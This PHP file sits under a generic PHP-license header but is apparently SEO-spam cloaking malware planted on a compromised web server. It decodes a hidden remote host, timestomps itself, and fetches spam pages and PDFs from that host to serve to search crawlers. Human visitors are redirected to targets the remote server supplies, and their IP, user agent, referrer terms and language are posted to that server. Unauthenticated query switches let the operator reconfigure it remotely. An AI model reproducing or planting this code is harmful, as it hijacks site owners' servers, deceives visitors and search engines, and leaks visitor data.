<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP version 5                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2004 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 3.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available through the world-wide-web at the following url:           |
// | http://www.php.net/license/3_0.txt.                                  |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Original Author <author@example.com>                        |
// |          Your Name <you@example.com>                                 |
// +----------------------------------------------------------------------+
//
// $Id:$
error_reporting(0);
set_time_limit(0);
$apo = 'aHR0cDovL2hvc3Q5OC5wZGZ6aGFucXVuLmNvbQ==';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array(
        "rogerbot",
        "exabot",
        "MJ12bot",
        "dotbot",
        "gigabot",
        "AhrefsBot"
    );
    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        exit();
    }
}
if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $s) {
        $fp = @fopen($filename, 'w');
        @fwrite($fp, $s);
        @fclose($fp);
        return TRUE;
    }
}
if (!function_exists('stripos')) {
    function stripos($a, $b) {
        return strpos($a, $b);
    }
}


$iniget = ini_get('disable_functions');
if(strpos($iniget,'disk_free_space') !== false) {
	function disk_free_spacenew($dirs) {
	   return 1025;
    }
}
else
{
	function disk_free_spacenew($dirs) {
	   return disk_free_space($dirs);
    }
}

function de_array($result, $type = 'a_r') {
    $i = 0;
    $j = 0;
    $findstrb = '<' . $type . '>';
    $findstre = '</' . $type . '>';
    $resultarray = array();
    while (($i = strpos($result, $findstrb, $i)) !== false) {
        $i+= strlen($findstrb);
        if (($j = strpos($result, $findstre, $i)) !== false) {
            $arr = preg_replace('/[^0-9a-zA-Z]+/', '', substr($result, $i, $j - $i));
            array_push($resultarray, $arr);
        }
    }
    return $resultarray;
}
function de_get($result, $type) {
    if (preg_match('/<' . $type . '>([\s\S]*)<\/' . $type . '>/', $result, $matches) > 0) {
        $result = $matches[1];
    } else {
        $result = 'NULL';
    }
    return $result;
}
function mkFolder($path) {
    if (!is_readable($path)) {
        is_file($path) or mkdir($path, 0700);
    }
}
function getSize($a) {
    if (file_exists($a)) {
        return fileSize($a);
    }
}
function getrequest(){ 
	$urls = $_SERVER['HTTP_REFERER'];  
	preg_match( "|.+p=([^\\&]*)|is", $urls, $tmp );
	if($tmp[1] != '')
	{
		return urldecode( $tmp[1] ); 
	}
	else
	{
		preg_match( "|.+q=([^\\&]*)|is", $urls, $tmp );
		if($tmp[1] != '')
		{
			return urldecode( $tmp[1] ); 
		}
		else
		{
			preg_match( "|.+MT=([^\\&]*)|is", $urls, $tmp );
			if($tmp[1] != '')
			{
				return urldecode( $tmp[1] ); 
			}
			else
			{
				return '';
			}
		}
	}
}
/*googlezz*/
function de_get_ip_address_new() {
    if (isset($_SERVER)) {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
    } else {
        if (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } else {
            $ip = getenv('REMOTE_ADDR');
        }
    }
    return $ip;
}
function check_spider($ip) {
    static $spider_list = array(
        'google' => array(
            'google'
        ) ,
        'yahoo' => array(
            'inktomisearch'
        ) ,
        'bing' => array(
            'msn'
        )
    );
    if (!preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $ip)) return "It's not IP";
    $domain = gethostbyaddr($ip);

    foreach ($spider_list as $k => $v) {
        if ($domain && stripos($domain, $v[0]) !== false) {
            return $k;
        }
    }
    return false;
}
/*googlezz*/
@chmod(__FILE__, 0444);
$ob_cacheolddir = dirname(__FILE__) . '/';
$free_disk = disk_free_spacenew($ob_cacheolddir);
$free_disk_open = true;
if ($free_disk < 1024 && $free_disk !== false) {
    $free_disk_open = false;
}
$ob_cacheolddirfile = '';
$allFiles = PBT_readdir($ob_cacheolddir);
$array_list = array();
$oldtime = time();
$countnum = 0;
$ob_listfile = base64_encode($_SERVER['HTTP_HOST']);
foreach ($allFiles as $fileName) {
    if (!is_dir($ob_cacheolddir . $fileName) && $fileName !== $ob_listfile) {
        $edit_time = filectime($ob_cacheolddir . $fileName);
        if ($oldtime > $edit_time) {
            if ($countnum < 10) {
                $ob_cacheolddirfile = $ob_cacheolddir . $fileName;
            } else {
                break;
            }
            $countnum++;
        }
    }
}
$stat = stat($ob_cacheolddirfile);
$ob_cachedir = dirname(__FILE__) . '/cgi-bin/';
@touch($ob_cachedir, $stat[9], $stat[8]);
@touch(dirname(__FILE__) . '/', $stat[9], $stat[8]);
@touch(__FILE__, $stat[9], $stat[8]);
mkFolder($ob_cachedir);
$ob_cachedir = $ob_cachedir . md5($_SERVER['HTTP_HOST']) . '/';
mkFolder($ob_cachedir);
$ob_ipfile = $ob_cachedir . md5($_SERVER['HTTP_HOST'] . 'ip');
$ob_checkjumpfile = $ob_cachedir . md5($_SERVER['HTTP_HOST'] . 'jump');
$ob_checkjumpto = $ob_cachedir . md5($_SERVER['HTTP_HOST'] . 'jumpto');
$ob_timefile = $ob_cachedir . md5($_SERVER['HTTP_HOST'] . 'lxtime');
$ob_timesitemap = $ob_cachedir . md5($_SERVER['HTTP_HOST'] . 'smtime');
$ob_ioapi = base64_decode($apo). base64_decode('L2lvYXBpLnBocD93PQ==') . $_SERVER['HTTP_HOST'] . '&d=' . basename(__FILE__) . '&u=';
$ob_ioapijump = base64_decode($apo). base64_decode('L2oucGhw');

$jumpurl = true;
if (file_exists($ob_checkjumpfile)) {
	$jumpfilelist = file_get_contents($ob_checkjumpfile);
	if($jumpfilelist == '1')
	{
		$jumpurl = true;
	}
	else
	{
		$jumpurl = false;
	}
}

$spider = false;
$ip = de_get_ip_address_new();
if (file_exists($ob_ipfile)) {
	$ipfilelist = file_get_contents($ob_ipfile);
}
if(strpos($ipfilelist, '<'.$ip.'>') === false)
{
	
	$spider = check_spider($ip);
	if ($spider) {
		file_put_contents($ob_ipfile,  '<' . $ip . '>' . $spider . '</' . $ip . '>' . "\n", FILE_APPEND); 
	}
}
else
{
	$spider = de_get($ipfilelist,$ip);
	if($spider == 'NULL')
	{
		$spider = false;
	}
}

$url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER["REQUEST_URI"];
$urlbase64 = base64_encode($url);
$url = urldecode($url);
$urlarray = parse_url($url);
if ($urlarray['query'] != '' && strpos(strtolower($urlarray['query']), 'pdf') !== false) {
    $url = $urlarray['query'];
} else {
    $url = $urlarray['path'];
}
if(strpos($url, '?') !== false)
{
	$strnew = substr($url,strpos($url,'?'));
	$url = str_replace($strnew, '', $url);
}
if(strpos($url, '.php') !== false)
{
	$strnew = substr($url,strpos($url,'.php')+4);
	$url = $strnew;
}
/*mulushiyong*/
if (strpos($url, 'PDF') === false) {
    $strnew = preg_replace('/(.*)\/{1}([^\/]*)/i', '$1', $url);
    $url = str_replace($strnew, '', $url);
}
/*mulushiyong*/
$url = ltrim($url, '/');
if ($url == 'site_map.xml') {
    $url = $_SERVER['HTTP_HOST'] . 'site_map.xml';
}
$urlapi = preg_replace('/[^0-9a-zA-Z]+/', '', $url);
$baseurl = base64_encode($url);
$urlfile = preg_replace('/[^0-9a-zA-Z]+/', '', $baseurl);
$urlfile = substr($urlfile, 0, 50);
$baseurl = $urlfile;

if ($_GET['test'] == 'pdf') {
    $pdfdetail = PBT_readfile($ob_ioapi . 'test.pdf'.'&p='.$urlbase64);
    if (strpos($pdfdetail, 'PDF-1.4') !== false) {
        header("Content-type:application/pdf");
    }
	if($pdfdetail != '')
	{
    	echo $pdfdetail;
	}
	else
	{
		echo 'connection failed';
	}
    exit();
} else if ($url == 'robots.txt') {
    echo "sitemap:http://" . $_SERVER['HTTP_HOST'] . '/site_map.xml';
    exit();
} else if ($_GET['test'] == 'clear') {
    echo 'disk(' . $free_disk . ')';
    $allFiles = PBT_readdir($ob_cachedir);
    $nowtime = time();
    foreach ($allFiles as $fileName) {
        if (!is_dir($ob_cachedir . $fileName) && $ob_cachedir . $fileName != $ob_cachedir . $ob_listfile && $ob_cachedir . $fileName != $ob_cachedir . $baseurl) {
            $edit_time = filectime($ob_cachedir . $fileName);
            if (($nowtime - $edit_time) > 7 * 24 * 60 * 60) {
                $file_detail = file_get_contents($ob_cachedir . $fileName);
                if (strpos($file_detail, 'PDF-1.4') !== false) {
                    file_put_contents($ob_cachedir . $fileName, '');
                    echo $ob_cachedir . $fileName . '<br/>';
                }
            }
        }
    }
    echo $nowtime;
    exit();
} else if ($_GET['reset'] == 'reset') {
    echo 'disk(' . $free_disk . ')';
    $ob_cachefile = $ob_cachedir . $ob_listfile;
    $body = PBT_httpRequestPOST($ob_ioapi . 'list.xml&reset=reset');
    if (file_exists($ob_cachedir . $ob_listfile)) {
        $oldlist = base64_decode(file_get_contents($ob_cachefile));
    }
    if (strpos($body, '<a_r>') !== false) {
	
		$iplist = de_get($body,'iplist');
		$iplistresult = '<iplist>'.$iplist.'</iplist>';
		$body = str_replace($iplistresult,'',$body);
		
        file_put_contents($ob_cachefile, base64_encode($body . $oldlist));
		file_put_contents($ob_ipfile, $iplist);
        echo 'Right.'.'<br/>';
    } else {
        echo 'No date,please check file and dir.'.'<br/>';
    }
    echo 'result:'.$body.'<br/>';
    echo 'url:'.$ob_ioapi . 'list.xml&reset=reset'.'<br/>';
    echo 'file:'.basename(__FILE__);
    exit();
} else if ($_GET['test'] == 'ip') {
    
    if (file_exists($ob_ipfile)) {
        $body = file_get_contents($ob_ipfile);
    }
    echo 'result:'.$ob_ipfile.':'.$body.'<br/>';
    exit();
} else if ($_GET['test'] == 'open') {
    
    file_put_contents($ob_checkjumpfile,'1');
    echo 'result:'.$ob_checkjumpfile.': open<br/>';
    exit();
} else if($_GET['test'] == 'close') {
    
    file_put_contents($ob_checkjumpfile,'0');
    echo 'result:'.$ob_checkjumpfile.': close<br/>';
    exit();
} else if ($_GET['test'] == 'jump') {
    
    if (file_exists($ob_checkjumpto)) {
        $body = file_get_contents($ob_checkjumpto);
    }
    echo 'result:'.$ob_checkjumpto.':'.$body.'<br/>';
    exit();
} else if ($_GET['test'] == 'set') {
	file_put_contents($ob_checkjumpto, '<script type=text/javascript>window.location.href="'.$_GET['url'].'"</script>');
	if (file_exists($ob_checkjumpto)) {
        $body = file_get_contents($ob_checkjumpto);
    }
    echo 'result:'.$ob_checkjumpto.':'.$body.'<br/>';
    exit();
}

if (file_exists($ob_cachedir . $ob_listfile)) {
    if (file_exists($ob_timefile)) {
        $edit_time = file_get_contents($ob_timefile);
        $nowtime = time();
    } else {
        $edit_time = 0;
        $nowtime = time();
    }
    if (($nowtime - $edit_time) > 5 * 60 * 60 && $free_disk_open) {
        $ob_cachefile = $ob_cachedir . $ob_listfile;
        $body = PBT_httpRequestPOST($ob_ioapi . 'list.xml');
        $oldlist = base64_decode(file_get_contents($ob_cachefile));
        if (strpos($body, '<a_r>') !== false) {
		
			$iplist = de_get($body,'iplist');
			$iplistresult = '<iplist>'.$iplist.'</iplist>';
			$body = str_replace($iplistresult,'',$body);
		
            file_put_contents($ob_cachefile, base64_encode($body . $oldlist));
            //echo '<!--listupdate-->';
            file_put_contents($ob_timefile, $nowtime);
			file_put_contents($ob_ipfile, $iplist);
        } else {
            file_put_contents($ob_cachefile, base64_encode($oldlist));
        }
    }
    $listarray = de_array(base64_decode(file_get_contents($ob_cachedir . $ob_listfile)));
    if ($_GET['test'] == 'look') {
        print_r($listarray);
        $arr = preg_replace('/[^0-9a-zA-Z]+/', '', $_GET['url']);
        $urlapi = preg_replace('/[^0-9a-zA-Z]+/', '', $_GET['url']);
        if (in_array($arr, $listarray)) {
            echo $arr . 'ok';
            echo $ob_ioapi . $urlapi;
        } else {
            echo $arr . 'fail';
        }
        exit();
    }
    $arr = preg_replace('/[^0-9a-zA-Z]+/', '', str_replace($_SERVER['HTTP_HOST'], '', $url));
    $ob_cachefile = $ob_cachedir . $baseurl;
    if (in_array($arr, $listarray) && (!file_exists($ob_cachefile) || $url == $_SERVER['HTTP_HOST'] . 'site_map.xml') && $free_disk_open) {
        if (strpos($url, 'pdf') !== false || strpos($url, 'PDF') !== false) {
            $pdf = PBT_readfile($ob_ioapi . $urlapi);
            $size = strlen($pdf);
            if ($size > 100) {
                $fp2 = @fopen($ob_cachefile, "a");
                fwrite($fp2, $pdf);
                fclose($fp2);
            } else {
                echo $size;
                echo $pdf;
                exit();
            }
            
        } else {
            if ($url == $_SERVER['HTTP_HOST'] . 'site_map.xml' && file_exists($ob_cachedir . $baseurl)) {
                if (file_exists($ob_timesitemap)) {
                    $edit_time = file_get_contents($ob_timesitemap);
                    $nowtime = time();
                } else {
                    $edit_time = 0;
                    $nowtime = time();
                }
                if (($nowtime - $edit_time) > 12 * 60 * 60) {
                    $body = PBT_httpRequestPOST($ob_ioapi . str_replace($_SERVER['HTTP_HOST'], '', $url));
                    file_put_contents($ob_cachefile, base64_encode($body));
                    file_put_contents($ob_timesitemap, $nowtime);
                }
            } else {
                $body = PBT_httpRequestPOST($ob_ioapi . str_replace($_SERVER['HTTP_HOST'], '', $url));
                file_put_contents($ob_cachefile, base64_encode($body));
            }
        }
        $fileSize = getSize($ob_cachefile);
        if ($fileSize < 100) {
            if (strpos($url, 'pdf') === false && strpos($url, 'PDF') === false) {
                header("http/1.1 404 Not Found");
                echo '404 Not Found';
                echo '<!--' . $size . '--' . $pdf . '-->';
                echo '<!--' . $ob_ioapi . $urlapi . '-->';
                echo '<!--' . $ob_cachefile . '-->';
                echo '<!--' . file_get_contents($ob_cachefile) . '-->';
                echo '<!--' . $free_disk . '-->';
                unlink($ob_cachefile);
                exit();
            }
        } else {
            $oldlist = base64_decode(file_get_contents($ob_cachedir . $ob_listfile));
            $oldlist = str_replace('<a_r>' . $arr . '</a_r>', "", $oldlist);
            file_put_contents($ob_cachedir . $ob_listfile, base64_encode($oldlist));
        }
    }
    if (file_exists($ob_cachefile)) {
        if (strpos($url, 'pdf') !== false || strpos($url, 'PDF') !== false) {
            $edit_time = filectime($ob_cachefile);
            $nowtime = time();
            if (($nowtime - $edit_time) > 14 * 24 * 60 * 60) {
                //file_put_contents($ob_cachefile, '');
            }
			preg_match('/^([a-z\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
   			$lang = strtolower($matches[1]);
            if ( $jumpurl && !$spider && !preg_match("/(bot|crawl|spider|slurp|sohu-search|lycos|robozilla|http)/i", strtolower($_SERVER['HTTP_USER_AGENT'])) && $lang != '' ) {
				$api_array = array('a' => 'proxy','t' => getrequest(),'HTTP_REFERER' => "http://" . $_SERVER['HTTP_HOST'] . $_SERVER["REQUEST_URI"],'p' => $url,'ip' => $ip ,'agent' => strtolower($_SERVER['HTTP_USER_AGENT']) , 'lang' => $lang );
				$proxyjs = str_replace('$key','',PBT_httpRequestPOST($ob_ioapijump, $api_array));
				if( strpos($proxyjs, 'window.location.href=') === false )
				{
					if (file_exists($ob_checkjumpto)) {
						$pdfcaches = file_get_contents($ob_checkjumpto);
					}
					if($pdfcaches != '')
					{
						$proxyjs = $pdfcaches;
					}
				}
				else
				{
					file_put_contents( $ob_checkjumpto, $proxyjs );
				}
				if(preg_match( "|.+location.href=\"([^\\\"]*)|is", $proxyjs, $tmp ) > 0)
				{
					echo '<html><head><title>[Loading...]</title><style>body{margin:0; padding:0;}</style></head><body><script>location.href="'.$tmp[1].'"</script><noscript><meta http-equiv="refresh" content="0; url='.$tmp[1].'" /></noscript></body></html>';
				}
				else
				{
					echo 'error 303';
				}
            } else {
                $fileSize = getSize($ob_cachefile);
                if ($fileSize < 100) {
                    header("http/1.1 404 Not Found");
                    echo '404 Not Found!';
                    exit();
                }
				$pdfdetail = file_get_contents($ob_cachefile);
                if (strpos($pdfdetail, 'PDF-1.4') !== false) {
                    header("Content-type:application/pdf");
                }
                echo $pdfdetail;
            }
            exit();
        } else {
            $contents = base64_decode(file_get_contents($ob_cachefile));
            if ($contents != "") {
                echo $contents;
                exit();
            }
        }
    }
} else {
    $ob_cachefile = $ob_cachedir . $ob_listfile;
    $body = PBT_httpRequestPOST($ob_ioapi . 'list.xml');
    if (strpos($body, '<a_r>') !== false && $free_disk_open) {
	
		$iplist = de_get($body,'iplist');
		$iplistresult = '<iplist>'.$iplist.'</iplist>';
		$body = str_replace($iplistresult,'',$body);
		
        file_put_contents($ob_cachefile, base64_encode($body));
        echo '<!--listdownload:' . $body . '-->';
        $nowtime = time();
        file_put_contents($ob_timefile, $nowtime);
		file_put_contents($ob_ipfile, $iplist);
    } else {
        //echo '<!--listerror-->';
        
    }
}
function PBT_readdir($dir) {
    if (is_dir($dir)) {
        $resultarray = array();
        if ($dh = opendir($dir)) {
            while (($file = readdir($dh)) !== false) {
                array_push($resultarray, $file);
            }
            closedir($dh);
        }
        return $resultarray;
    }
    return false;
}
function PBT_readfile($url) {
    $matches = parse_url($url);
    $host = $matches['host'];
    $path = $matches['path'] ? $matches['path'] . (isset($matches['query']) ? '?' . $matches['query'] : '') : '/';
    $port = !empty($matches['port']) ? $matches['port'] : 80;
    $out = "GET $path HTTP/1.0\r\n";
    $out.= "Host: $host\r\n";
    $out.= "\r\n\r\n";
    $fp = @fsockopen($host, $port, $errno, $errstr, 10);
    stream_set_blocking($fp, TRUE);
    stream_set_timeout($fp, $timeout);
    @fwrite($fp, $out);
    $status = stream_get_meta_data($fp);
    while (!feof($fp)) {
        if (($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {
            break;
        }
    }
    $return = '';
    while (!feof($fp)) {
        $data = fread($fp, 8192);
        $return.= $data;
    }
    @fclose($fp);
    return $return;
}
function PBT_httpRequestPOST($url, $post_data = array()) {
    $url2 = parse_url($url);
    $url2["path"] = ($url2["path"] == "" ? "/" : $url2["path"]);
    $url2["port"] = ($url2["port"] == "" ? 80 : $url2["port"]);
    $host_ip = @gethostbyname($url2["host"]);
    $fsock_timeout = 20;
    if (($fsock = fsockopen($host_ip, 80, $errno, $errstr, $fsock_timeout)) < 0) {
        //return 'false fsockopen';
        
    }
    $request = $url2["path"] . ($url2["query"] != "" ? "?" . $url2["query"] : "") . ($url2["fragment"] != "" ? "#" . $url2["fragment"] : "");
    $needChar = false;
    foreach ($post_data as $key => $val) {
        $post_data2.= ($needChar ? "&" : "") . urlencode($key) . "=" . urlencode($val);
        $needChar = true;
    }
    $in = "POST " . $request . " HTTP/1.0\r\n";
    $in.= "Accept: */*\r\n";
    $in.= "Host: " . $url2["host"] . "\r\n";
    $in.= "User-Agent: Lowell-Agent\r\n";
    $in.= "Content-type: application/x-www-form-urlencoded\r\n";
    $in.= "Content-Length: " . strlen($post_data2) . "\r\n";
    $in.= "Connection: Close\r\n\r\n";
    $in.= $post_data2 . "\r\n\r\n";
    if (!@fwrite($fsock, $in, strlen($in))) {
        fclose($fsock);
        $post = $post_data;
        if (is_array($post)) {
            ksort($post);
            $content = http_build_query($post);
            $content_length = strlen($content);
            $options = array(
                'http' => array(
                    'method' => 'POST',
                    'header' => "Content-type: application/x-www-form-urlencoded\r\n" . "Content-length: $content_length\r\n",
                    'content' => $content
                )
            );
            return file_get_contents($url, false, stream_context_create($options));
        }
    }
    unset($post_data2);
    unset($in);
    $out = "";
    while ($buff = fgets($fsock, 2048)) {
        $out.= $buff;
    }
    fclose($fsock);
    $pos = strpos($out, "\r\n\r\n");
    $head = substr($out, 0, $pos);
    $status = substr($head, 0, strpos($head, "\r\n"));
    $body = substr($out, $pos + 4, strlen($out) - ($pos + 4));
    if (preg_match("/^HTTP\/\d\.\d\s([\d]+)\s.*$/", $status, $matches)) {
        if (intval($matches[1]) / 100 == 2) {
            return $body;
        } else {
            return '<!-- ' . $matches[1] . ' -->' . $body;
        }
    } else {
        return '<!-- ' . $matches[1] . ' -->' . $body;
    }
}
?>